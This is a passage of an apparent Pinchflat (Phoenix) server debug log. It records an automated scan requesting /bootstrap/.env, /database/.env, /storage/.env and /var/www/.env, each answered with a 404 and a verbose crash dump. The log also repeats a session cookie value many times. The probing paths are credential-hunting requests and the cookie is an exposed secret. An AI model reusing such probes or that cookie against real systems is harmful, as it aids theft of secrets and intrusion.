"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 54, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3358.0>, params: %{}, path_info: ["bootstrap", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/bootstrap/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6TurkwA_-jwAAQ1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bootstrap/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 54, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bootstrap/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bootstrap/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 54, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:11.586 [info] GET /database/.env 02:10:11.586 [debug] QUERY OK source="settings" db=0.2ms idle=347.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.586 [debug] QUERY OK source="settings" db=0.2ms idle=231.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.586 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:11.587 [error] #PID<0.3359.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 55) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /database/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /database/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/database/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 55, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3359.0>, params: %{}, path_info: ["database", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/database/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6UKfHIHzuyEAAQ2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/database/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 55, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /database/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/database/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 55, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:11.694 [info] GET /storage/.env 02:10:11.695 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=339.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.696 [debug] QUERY OK source="settings" db=0.2ms idle=225.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.696 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:11.697 [error] #PID<0.3360.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 56) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /storage/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 56, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3360.0>, params: %{}, path_info: ["storage", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/storage/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6UkUPTuFg54AAQ3B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 56, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 56, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:11.804 [info] GET /var/www/.env 02:10:11.805 [debug] QUERY OK source="settings" db=0.2ms idle=334.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.805 [debug] QUERY OK source="settings" db=0.0ms idle=218.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.805 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:11.805 [error] #PID<0.3361.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 57) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /var/www/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/www/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/www/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 57, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3361.0>, params: %{}, path_info: ["var", "www", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/var/www/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6U-ql2ZyqPsAAQ4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: 